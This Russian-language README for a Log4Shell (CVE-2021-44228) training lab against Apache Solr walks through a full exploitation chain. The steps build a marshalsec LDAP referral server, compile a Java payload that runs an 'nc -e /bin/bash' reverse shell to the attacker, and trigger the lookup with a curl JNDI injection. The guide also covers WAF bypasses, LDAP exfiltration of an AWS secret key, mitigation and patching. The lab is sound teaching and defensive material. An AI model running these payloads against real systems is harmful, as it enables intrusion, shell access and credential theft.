muhammad-ali007/log4j_cve-2021-44228Практическое лабораторное упражнение по эксплуатации Log4Shell (CVE-2021-44228) с использованием JNDI-инъекции, LDAP-серверов рефералов и полезных нагрузок reverse shell. Включает обнаружение, методы обхода и рекомендации по пост-эксплуатации.
Уязвимость Log4j, также известная как "Log4Shell" или "CVE-2021-44228", является критической ошибкой безопасности в библиотеке Apache Log4j. Log4j — это широко используемый фреймворк для журналирования на Java, который позволяет разработчикам записывать сообщения из приложений в различные места назначения, такие как файлы, базы данных и вывод консоли.
Уязвимость была обнаружена в декабре 2021 года и привлекла значительное внимание из-за своей серьезности и потенциала для эксплуатации. Она затрагивает версии Log4j 2.x, а в некоторых случаях и более ранние версии. Уязвимость Log4j является уязвимостью удаленного выполнения кода (RCE), что означает, что злоумышленник может выполнить произвольный код на целевой системе, используя эту ошибку. Уязвимость вызвана недостатком проектирования в библиотеке Log4j, связанным с обработкой сообщений журнала, содержащих специально созданные данные.
Эксплуатация уязвимости основана на возможности внедрения вредоносного кода в сообщение журнала. Это может быть достигнуто через различные векторы, такие как поля ввода, контролируемые пользователем, заголовки HTTP-запросов или другие данные, предоставленные пользователем, которые передаются в оператор журнала.
Когда уязвимое приложение обрабатывает сообщение журнала, содержащее специально созданные данные, Log4j интерпретирует эти данные как поиск Java Naming and Directory Interface (JNDI). Используя это поведение, злоумышленник может создать полезную нагрузку, которая запускает поиск JNDI на вредоносный сервер, контролируемый злоумышленником. Этот сервер может затем ответить полезной нагрузкой, которая выполняется на целевой системе, позволяя злоумышленнику добиться удаленного выполнения кода.
Воздействие уязвимости Log4j является серьезным, поскольку Log4j широко используется в различных приложениях на Java, включая веб-серверы, приложения и облачные сервисы. Уязвимость позволяет злоумышленникам получить несанкционированный доступ к затронутым системам, что потенциально может привести к утечкам данных, компрометации системы и дальнейшей эксплуатации скомпрометированной среды.
На сегодняшний день доступна версия log4j 2.16.0, которая исправляет эту уязвимость (JNDI полностью отключена, поддержка Message Lookups удалена, а новая уязвимость DoS CVE-2021-45046 отсутствует). (https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0)
Однако огромная опасность этой уязвимости обусловлена повсеместным распространением пакета журналирования. Миллионы приложений, а также поставщики программного обеспечения используют этот пакет как зависимость в своем собственном коде. Хотя вы, возможно, сможете исправить свою собственную кодовую базу, использующую log4j, другим поставщикам и производителям все равно потребуется выпустить свои собственные обновления безопасности. Многие исследователи безопасности сравнили эту уязвимость с Shellshock из-за огромной поверхности атаки. Мы будем наблюдать эту уязвимость еще долгие годы.
Для получения растущего поддерживаемого сообществом списка программного обеспечения и сервисов, уязвимых для CVE-2021-44228, посетите этот репозиторий GitHub (https://github.com/YfryTchsGD/Log4jAttackSurface)
Хотя существует множество других статей, блогов, ресурсов и учебных материалов, посвященных CVE-2021-44228, я (автор этого упражнения) особенно отдаю предпочтение этим:
Пакет log4j добавляет дополнительную логику к журналам путем «разбора» записей, в конечном итоге для обогащения данных — но может также выполнять действия и даже оценивать код на основе данных записи. В этом суть CVE-2021-44228. Другой синтаксис может фактически выполняться так же, как он вводится в файлы журнала. Вот несколько примеров такого синтаксиса:
Возможно, вы уже знаете общую полезную нагрузку для злоупотребления этой уязвимостью log4j. Формат обычного синтаксиса, который использует это, выглядит так:
Этот синтаксис означает, что log4j вызовет функциональность из «JNDI» или «Java Naming and Directory Interface». В конечном итоге это может быть использовано для доступа к внешним ресурсам или «ссылкам», что и используется в этой атаке.
Обратите внимание на схему "ldap://". Это указывает на то, что цель будет обращаться к конечной точке (контролируемому злоумышленником местоположению в случае этой атаки) по протоколу LDAP. Для краткости мы не будем рассматривать все тонкости и детали LDAP здесь, но знайте, что это то, с чем нам нужно будет работать по мере уточнения нашей атаки. Пока просто знайте, что цель действительно установит соединение с внешним местоположением. На это указывает заполнитель ATTACKERCONTROLLEDHOST в приведенном выше синтаксисе. Вы, действуя как злоумышленник в этом сценарии, можете разместить простой слушатель для просмотра этого соединения.
Следующий вопрос: где мы можем ввести этот синтаксис? В любом месте, где данные записываются в журнал приложением.
Это ключевой момент этой уязвимости. К сожалению, очень трудно определить, где находится поверхность атаки для разных приложений и, следовательно, какие приложения на самом деле уязвимы. Простое обнаружение файлов log4j не указывает на точный номер версии или даже на то, где и как приложение может использовать пакет.
Другие места, куда вы можете ввести этот синтаксис JNDI:
Если вы хотите получить дополнительную информацию об этом векторе атаки JNDI, просмотрите эту презентацию Black Hat USA 2016 года. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
POC
Эксплуатация На данный момент вы убедились, что цель действительно уязвима, увидев это соединение, пойманное вашим слушателем netcat. Однако он сделал LDAP-запрос... так что ваш слушатель netcat, возможно, видел только непечатные символы (странные байты). Теперь мы можем развить эту основу, чтобы ответить с помощью реального обработчика LDAP.
Мы будем использовать открытую и общедоступную утилиту для развертывания «LDAP-сервера перенаправления». Он будет использоваться для перенаправления первоначального запроса жертвы в другое место, где вы сможете разместить вторичную полезную нагрузку, которая в конечном итоге выполнит код на цели. Это выглядит так:
Это означает, что нам понадобится HTTP-сервер, который мы могли бы просто разместить с помощью любого из следующих вариантов (обслуживание на порту 8000):
Однако первым делом нужно получить LDAP-сервер перенаправления. Мы будем использовать утилиту marshalsec, предлагаемую по адресу https://github.com/mbechler/marshalsec
В конечном итоге для этого требуется Java. Просматривая README этой утилиты, она предлагает использовать Java 8. (У вас может получиться или не получиться с другой версией, но, чтобы «играть по правилам», мы будем использовать ту же версию Java, что и на целевой машине).
См. шаги по установке Java 8 локально:
Выполните следующие команды, чтобы настроить вашу систему на использование этой версии Java по умолчанию (измените путь к файлу загрузки по мере необходимости): Команды: sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # измените версию по мере необходимости sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
После того как вы загрузили, извлекли и установили соответствующие настройки файловой системы (синтаксис update-alternatives) выше, вы должны иметь возможность выполнить «java -version» и убедиться, что вы действительно используете Java 1.8.0_181.
Клонируйте (https://github.com/mbechler/marshalsec) и перейдите в эту новую папку «marshalsec».
Мы должны собрать marshalsec с помощью Java-сборщика maven. Если у вас еще нет maven в системе, вы можете установить его через менеджер пакетов: Команда: sudo apt install maven
Затем выполните команду для сборки утилиты marshalsec: Команда: mvn clean package -DskipTests
После сборки утилиты marshalsec мы можем запустить LDAP-сервер перенаправления, чтобы направлять соединения на наш вторичный HTTP-сервер (который мы подготовим через минуту). Вы можете более подробно изучить использование, параметры и другие настройки этого инструмента, но для демонстрации синтаксис запуска LDAP-сервера выглядит следующим образом: user@host:~/marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit" # Измените IP-адрес для вашей атакующей машины по мере необходимости. Обратите внимание, что мы будем использовать HTTP-порт 8000.
Теперь, когда наш LDAP-сервер готов и ожидает, мы можем открыть второй терминал, чтобы подготовить нашу финальную полезную нагрузку и вторичный HTTP-сервер.
В конечном итоге уязвимость log4j выполнит произвольный код, который вы создадите на языке программирования Java. Если вы не знакомы с Java, не волнуйтесь — мы будем использовать простой синтаксис, который просто «вызывает оболочку» для выполнения системной команды. Фактически, мы получим обратное соединение (reverse shell), чтобы получить контроль над целевой машиной! Создайте и перейдите в новую директорию, где вы будете размещать эту полезную нагрузку. Сначала создайте вашу полезную нагрузку в текстовом редакторе по вашему выбору (mousepad, nano, vim, Sublime Text, VS Code и т.д.) с конкретным именем «Exploit.java» (предоставлено в этом репозитории). Измените IP-адрес атакующего и номер порта по мере необходимости.
Для этой полезной нагрузки вы можете видеть, что мы выполним команду на цели, а именно nc -e /bin/bash для обратного вызова на нашу атакующую машину, хотя вы можете поэкспериментировать с другими полезными нагрузками.
Скомпилируйте вашу полезную нагрузку с помощью «javac Exploit.java» и убедитесь, что она успешно выполнена, выполнив команду «ls» и найдя новый файл «Exploit.class». После создания и компиляции полезной нагрузки вы можете разместить ее, запустив временный HTTP-сервер. user@host:~/ python3 -m http.server
Ваша полезная нагрузка создана и скомпилирована, она размещена на HTTP-сервере в одном терминале, ваш LDAP-сервер перенаправления работает и ожидает в другом терминале — затем подготовьте слушатель netcat для захвата обратного shell в еще одном новом окне терминала: user@host$ nc -lnvp 9999
Наконец, осталось только запустить эксплойт и отправить наш синтаксис JNDI! Обратите внимание на изменения в номере порта (теперь он ссылается на наш LDAP-сервер) и ресурс, который мы извлекаем, указывая наш эксплойт (измените IP-адрес атакующего по мере необходимости): user@host$ curl 'http://10.10.8.231:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
Теперь вы получили первоначальный доступ и управление (command-and-control). На этом этапе злоумышленник может делать с жертвой практически все, что угодно — будь то повышение привилегий, эксфильтрация, установка персистентности, перемещение в бок (lateral movement) или любая другая пост-эксплуатация — возможно, установка криптомайнеров, удаленных троянов, бэкдоров и имплантов или даже развертывание программ-вымогателей.
Персистентность Теперь, когда вы получили обратное соединение (reverse shell) на целевой машине, вы можете продолжать любые действия. Чтобы лучше понять эту уязвимость log4j, давайте предоставим себе «лучший доступ», чтобы мы могли исследовать машину, проанализировать затронутые журналы и даже смягчить уязвимость!
Если вы хотите «стабилизировать свою оболочку» для более удобного ввода команд, вы можете использовать обычный трюк с обновлением (предполагая, что вы работаете в оболочке bash. Если вы работаете в zsh, вам нужно будет запустить ваш слушатель netcat в под-оболочке bash... это должно быть достаточно легко — повторно эксплуатировать):
Теперь у вас есть стабильная оболочка, в которой вы можете безопасно использовать клавиши со стрелками влево и вправо для перемещения по вводу, клавиши со стрелками вверх и вниз для просмотра истории команд, Tab для автозаполнения и безопасно Ctrl+C для остановки выполняющихся программ!
Обнаружение К сожалению, поиск приложений, уязвимых для CVE-2021-44228 «Log4Shell», сложен. Обнаружение эксплуатации может быть еще сложнее, учитывая неограниченное количество потенциальных обходных путей.
Тем не менее, сообщество специалистов по информационной безопасности продемонстрировало невероятные усилия и поддержку в разработке инструментов, скриптов и кода для лучшего сдерживания этой угрозы. В интернете можно найти огромное количество ресурсов.
Ниже приведены фрагменты, которые могут помочь в этих усилиях:
Напоминаем, что огромный ресурс доступен здесь:
Обходные пути (Bypasses) Полезная нагрузка JNDI, которую я продемонстрировал, является стандартным и «типичным» синтаксисом для выполнения этой атаки. Если вы пентестер или участник red team, этот синтаксис может быть перехвачен межсетевыми экранами веб-приложений (WAF) или легко обнаружен. Если вы участник blue team или специалист по реагированию на инциденты, вы должны активно охотиться за этим синтаксисом и обнаруживать его.
Поскольку эта атака использует log4j, полезная нагрузка может в конечном итоге получить доступ ко всем тем же трюкам с расширением, подстановкой и шаблонизацией, которые предоставляет пакет. Это означает, что злоумышленник может использовать любые трюки для сокрытия, маскировки или обфускации полезной нагрузки.
Учитывая это, на самом деле существует неограниченное количество обходных путей для протаскивания этого синтаксиса. Хотя мы не будем углубляться в детали в этом упражнении, мы призываем вас поэкспериментировать с ними в этой среде. Внимательно прочитайте их, чтобы понять, какие трюки используются для маскировки исходного синтаксиса.
В интернете есть множество ресурсов, демонстрирующих некоторые примеры таких обходных путей; несколько из них приведены ниже:
Обратите внимание на использование протокола rmi:// в последнем примере. Это также еще один допустимый метод, который можно использовать с утилитой marshalsec — экспериментируйте!
Кроме того, внутри движка log4j вы можете расширять произвольные переменные окружения (если этого уже недостаточно плохо). Подумайте об ущербе, который может быть нанесен даже без удаленного выполнения кода, но с помощью простого LDAP-соединения и эксфильтрации ${env:AWS_SECRET_ACCESS_KEY}
Для других методов настоятельно рекомендуется провести собственное исследование. Значительный объем информации публикуется в этой ветке Reddit: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview/
Смягчение (Mitigation) Теперь, когда вы немного побыли в роли злоумышленника, пожалуйста, снимите шляпу хакера и давайте смягчим уязвимость. Ознакомьтесь с методами смягчения, предложенными на веб-сайте Apache Solr (https://solr.apache.org/security.html).
Один из вариантов — вручную изменить файл «solr.in.sh» с определенным синтаксисом. Давайте пойдем по этому пути для демонстрации этой защитной тактики.
На странице безопасности веб-сайта Apache Solr объясняется, что вы можете добавить этот конкретный синтаксис в файл solr.in.sh:
SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
Измените файл solr.in.sh с помощью текстового редактора по вашему выбору. Вам понадобится префикс sudo для получения привилегий root, если вы еще не root. Прокрутите до конца файла и добавьте новую строку с приведенным выше синтаксисом. Сохраните и закройте файл.
Теперь, когда файл конфигурации изменен, службу все равно необходимо перезапустить, чтобы изменения вступили в силу. Команда: user@host$ sudo /etc/init.d/solr restart
Чтобы проверить, что исправление вступило в силу, запустите еще один слушатель netcat, как вы делали ранее, и снова запустите временный LDAP-сервер перенаправления и HTTP-сервер (опять же в отдельных терминалах). Вам нужно будет воссоздать ту же настройку для повторной эксплуатации машины.
Вы должны увидеть, что запрос к вашему временному LDAP-серверу не выполняется, следовательно, запрос к вашему HTTP-серверу не выполняется, и... обратный shell не отправляется обратно на ваш слушатель netcat!
Патчинг (Patching) На момент создания этого упражнения Apache Solr 8.11.1 еще не был выпущен с официальным исправлением для CVE-2021-44228. Как и многие другие поставщики программного обеспечения, отрасль лихорадочно пытается исправить свое программное обеспечение и как можно быстрее передать его конечным пользователям.
Где это уместно, пожалуйста, убедитесь, что вы обновили пакет logging-log4j до версии 2.16.0 или выше (по мере появления новых релизов). В версии 2.16.0 JNDI полностью отключена, поддержка Message Lookups удалена, а новая уязвимость DoS CVE-2021-45046 отсутствует. Загрузите этот релиз здесь: https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0Если вы отвечаете за выявление уязвимых сервисов, использующих log4j, вот список некоторых наиболее пострадавших сервисов/продуктов здесь (https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/).
